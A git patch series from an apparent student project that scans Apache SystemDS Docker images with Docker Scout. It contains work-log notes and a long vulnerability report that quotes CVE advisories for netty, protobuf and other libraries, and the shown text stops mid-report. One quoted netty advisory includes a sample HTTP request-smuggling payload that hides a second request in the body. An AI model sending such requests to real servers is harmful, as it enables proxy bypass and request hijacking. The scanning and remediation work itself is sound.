From e2950ab9bfd229493edab91c07d5150a1a026953 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Thu, 4 Dec 2025 12:35:25 +0100 Subject: [PATCH 01/31] [MINOR][DOCS][SYSTEMDS-3878] Write two markdown files to log work, and document changes The file project_systemds-3878.md is a file to log the work that is done for the project and systemds-3878_summary-of-changes.md documents the modifications that will be made on the Dockerfiles. --- docker/project_systemds-3878.md | 245 +++++++++++++++++++++ docker/systemds-3878_summary-of-changes.md | 2 + 2 files changed, 247 insertions(+) create mode 100644 docker/project_systemds-3878.md create mode 100644 docker/systemds-3878_summary-of-changes.md diff --git a/docker/project_systemds-3878.md b/docker/project_systemds-3878.md new file mode 100644 index 00000000000..89917c18fa3 --- /dev/null +++ b/docker/project_systemds-3878.md @@ -0,0 +1,245 @@ +# Data Integration and Large-Scale Analysis +## Student Project SYSTEMDS-3878 + +## Start + +1. Fork systemds github on own account +2. Invite project member +1. Create SSH-key locally on computer +1. Add public key to github account +1. Clone project on computer (git clone git@\.git) +1. Get a local version of the systemds project on the computer + +### CONTRIBUTING.md + +A commit or PR description is a public record of **what** change is being made and **why**. + +#### Structure of the description + +##### First Line + +1. A summary of what the changeset. +2. A complete sentence, crafted as though it was an order. + - an imperative sentence + - Writing the rest of the description as an imperative is optional. +3. Follow by an empty line. + +##### Body + +It consists of the following. + +1. A brief description of the problem solved. +2. Why this is the best approach?. +3. Shortcomings to the approach, if any (important!). + +Additional info + +4. background information + - bug/issue/jira numbers + - benchmark/test results + - links to design documents + - code attributions +5. Include enough context for + - reviewers + - future readers to understand the Changes. +6. Add PR number, like `Closes #1000`. + +#### Example for us: + +```text +[MINOR][SYSTEMDS-3878] Fix .Dockerfile vulnerability () + +This commit fixes the following vulnerability identified by docker scout cves: <...>. The following changes have been made on the Dockerfile: <...>. + + + +``` + +## Docker scout cves + + + +1. build systemds project \ + `./docker/build.sh` + - builds the image: `apache/systemds:latest` + - default runs: `docker image build -f docker/sysds.Dockerfile -t apache/systemds:latest .` + - comment out build.sh to change selected `Dockerfile` +2. scout \ + `docker scout cves --details --format markdown -o /scout_results/_output0.md --epss apache/systemds` (from root dir) + - `--details`: verbose + - `--format markdown`: output in markdown format + - `-o `: write output to file + - `-epss`: show epss score + - `--epss --epss-score 0.1`: filter for vulnerabilities that have more than 10% probability to be exploited. + +
+ + Directly from filesystem (Dockerfile) + + > Does Not Work + + > No vulnerability found + + ```bash + cd project_root_directory + docker scout cves --format markdown -o scout_results/output0.md --epss fs://docker_subdirecory/file.Dockerfile + ``` + + Add `--epss --epss-score 0.1` to filter for vulnerabilities that have more than 10% probability to be exploited. + +
+ + + +### helloworld example + +To test if docker scout works correctly on your machine, you can create a simple "Hello World" Dockerfile. + +```bash +mkdir scout_hello_world +cd scout_hello_world +echo -e "FROM ubuntu:latest\nRUN apt-get update && apt-get install -y curl\nCMD ["curl", "https://example.com"]" > Dockerfile +docker build -t scout_hello_world_img . +# optionally check image: docker images | grep hello_world +docker scout cves scout_hello_world_img +``` + +1. create and enter new directory +2. Create new file `Dockerfile` and write content into it +1. Build docker image from current directory `.` \ + With name scout_hello_wolrd (`-t`) +1. Scout the image with the name + + +
+ + Output from scout should be something similar to this: + + ```bash + ✓ Image stored for indexing + ✓ Indexed 160 packages + ✓ Provenance obtained from attestation + ✗ Detected 8 vulnerable packages with a total of 10 vulnerabilities + + + ## Overview + + │ Analyzed Image + ────────────────────┼───────────────────────────────── + Target │ scout_hello_world_img:latest + digest │ 65884f6905ea + platform │ linux/amd64 + vulnerabilities │ 0C 0H 2M 8L + size │ 73 MB + packages │ 160 + + + ## Packages and Vulnerabilities + + 0C 0H 1M 0L pam 1.5.3-5ubuntu5.5 + pkg:deb/ubuntu/pam@1.5.3-5ubuntu5.5?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ MEDIUM CVE-2025-8941 + https://scout.docker.com/v/CVE-2025-8941 + Affected range : >=0 + Fixed version : not fixed + + + 0C 0H 1M 0L tar 1.35+dfsg-3build1 + pkg:deb/ubuntu/tar@1.35%2Bdfsg-3build1?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ MEDIUM CVE-2025-45582 + https://scout.docker.com/v/CVE-2025-45582 + Affected range : >=0 + Fixed version : not fixed + + + 0C 0H 0M 3L curl 8.5.0-2ubuntu10.6 + pkg:deb/ubuntu/curl@8.5.0-2ubuntu10.6?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2025-9086 + https://scout.docker.com/v/CVE-2025-9086 + Affected range : >=0 + Fixed version : not fixed + + ✗ LOW CVE-2025-10148 + https://scout.docker.com/v/CVE-2025-10148 + Affected range : >=0 + Fixed version : not fixed + + ✗ LOW CVE-2025-0167 + https://scout.docker.com/v/CVE-2025-0167 + Affected range : >=0 + Fixed version : not fixed + + + 0C 0H 0M 1L libgcrypt20 1.10.3-2build1 + pkg:deb/ubuntu/libgcrypt20@1.10.3-2build1?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2024-2236 + https://scout.docker.com/v/CVE-2024-2236 + Affected range : >=0 + Fixed version : not fixed + + + 0C 0H 0M 1L coreutils 9.4-3ubuntu6.1 + pkg:deb/ubuntu/coreutils@9.4-3ubuntu6.1?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2016-2781 + https://scout.docker.com/v/CVE-2016-2781 + Affected range : >=0 + Fixed version : not fixed + CVSS Score : 6.5 + CVSS Vector : CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N + + + 0C 0H 0M 1L shadow 1:4.13+dfsg1-4ubuntu3.2 + pkg:deb/ubuntu/shadow@1%3A4.13%2Bdfsg1-4ubuntu3.2?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2024-56433 + https://scout.docker.com/v/CVE-2024-56433 + Affected range : >=0 + Fixed version : not fixed + + + 0C 0H 0M 1L gnupg2 2.4.4-2ubuntu17.3 + pkg:deb/ubuntu/gnupg2@2.4.4-2ubuntu17.3?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2022-3219 + https://scout.docker.com/v/CVE-2022-3219 + Affected range : >=0 + Fixed version : not fixed + CVSS Score : 3.3 + CVSS Vector : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L + + + 0C 0H 0M 1L openssl 3.0.13-0ubuntu3.6 + pkg:deb/ubuntu/openssl@3.0.13-0ubuntu3.6?os_distro=noble&os_name=ubuntu&os_version=24.04 + + ✗ LOW CVE-2024-41996 + https://scout.docker.com/v/CVE-2024-41996 + Affected range : >=0 + Fixed version : not fixed + + + + 10 vulnerabilities found in 8 packages + CRITICAL 0 + HIGH 0 + MEDIUM 2 + LOW 8 + + + What's next: + View base image update recommendations → docker scout recommendations scout_hello_world_img:latest + + + ``` + +
+ +## Trivy + +## Summary of Changes + +Refer to the [documentation](systemds-3878_summary-of-changes.md). \ No newline at end of file diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/systemds-3878_summary-of-changes.md new file mode 100644 index 00000000000..8d14879882d --- /dev/null +++ b/docker/systemds-3878_summary-of-changes.md @@ -0,0 +1,2 @@ +# Data Integration and Large-Scale Analysis +## Student Project SYSTEMDS-3878 From 5b38c797570572a45997bd9d696ad9e4ea9dfad6 Mon Sep 17 00:00:00 2001 From: a-kasprick Date: Fri, 5 Dec 2025 17:36:39 +0100 Subject: [PATCH 02/31] [MINOR][SYSTEMDS-3878] Add Docker Scout vulnerability scan for sysds.Dockerfile Add initial security scan results for the apache/systemds:latest image. Docker Scout identified 79 vulnerabilities (4 Critical, 29 High, 36 Medium, 9 Low) which will guide remediation efforts. --- docker/scout_results/sysds_output0.md | 2831 +++++++++++++++++++++++++ 1 file changed, 2831 insertions(+) create mode 100644 docker/scout_results/sysds_output0.md diff --git a/docker/scout_results/sysds_output0.md b/docker/scout_results/sysds_output0.md new file mode 100644 index 00000000000..62b85216612 --- /dev/null +++ b/docker/scout_results/sysds_output0.md @@ -0,0 +1,2831 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:a31c3f1962487cf8a1508eaa6de02aef80396cfc2250e9b24544ba21d01bddcc
vulnerabilitiescritical: 4 high: 29 medium: 36 low: 9 unspecified: 1
platformlinux/amd64
size380 MB
packages350
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile84th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.497%
EPSS Percentile65th percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.489%
EPSS Percentile65th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.6.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.6.3
+critical 9.1: CVE--2023--44981 Authorization Bypass Through User-Controlled Key + + + + + + + + +
Affected range<3.7.2
Fixed version3.7.2
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default. + +Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue. + +Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue. + +See the documentation for more details on correct cluster administration. + +
+
+ +medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.6.0
<=3.7.2
Fixed versionNot Fixed
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.187%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.115%
EPSS Percentile31st percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.066%
EPSS Percentile20th percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.090%
EPSS Percentile26th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 